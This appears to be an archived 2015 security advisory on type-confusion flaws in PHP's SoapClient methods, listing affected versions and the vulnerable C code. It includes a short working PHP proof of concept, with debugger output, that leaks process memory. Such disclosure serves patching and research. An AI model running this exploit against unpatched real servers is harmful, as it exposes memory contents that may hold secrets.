what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP SoapClient Type Confusion Information Leak

PHP SoapClient Type Confusion Information Leak
Posted Mar 21, 2015
Authored by Taoguang Chen

PHP SoapClient in various PHP versions suffers from a type confusion that allows for information leakage.

tags | advisory, php
SHA-256 | e966d500ed0d4194c51186062d3c39579e4b806229a855ac04afddc816ae79ea

PHP SoapClient Type Confusion Information Leak

Change Mirror Download
# Type Confusion Infoleak Vulnerabilities in SoapClient

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1
- Release Date: 2015.3.20

> Four type confusion vulnerabilities were discovered in SoapClient object's some methods that can be abused for leaking arbitrary memory blocks.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5.3 <= 5.3.29

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
PHP_METHOD(SoapClient, __getLastRequest)
{
zval **tmp;

if (zend_parse_parameters_none() == FAILURE) {
return;
}

if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request",
sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
}
RETURN_NULL();
}
```

The Z_STRVAL_P macro lead to looking up an arbitrary valid memory
address, and return a string via a doubles-type or integer-type zval
that start from this memory address. If the memory address is an
invalid memory position, it should result in a crash.

The Z_STRLEN_PP macro for accessing str.len member from the
zvalue_value union, and return string's length. For integers the
Z_STRLEN_PP macro is generally return 1, so a integer-type ZVAL can
collide a string of length 1. The size of a double is 8 bytes, so on
32bit system a double-type ZVAL can collide a string of any length

The very similar bugs exists in SoapClient object's
__getLastResponse(), __getLastRequestHeaders(), and
__getLastResponseHeaders() methods.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.14.

```
<?php

$z = new SoapClient(null, array('location' => "", 'uri' => ""));
$str = '';
for ($i = 0x100351e3d; $i < 0x100351e3d + 25; $i++) {
$z->__last_request = $i;
$str .= $z->__getLastRequest();
}
var_dump($str);

?>
```

Test the PoC on the command line, then output some memory blocks:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test.php
Process 6366 launched: '/usr/bin/php' (x86_64)
string(25) "UH??AWAVSPI??I??H????
H"
Process 6366 exited with status = 0 (0x00000000)
```


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close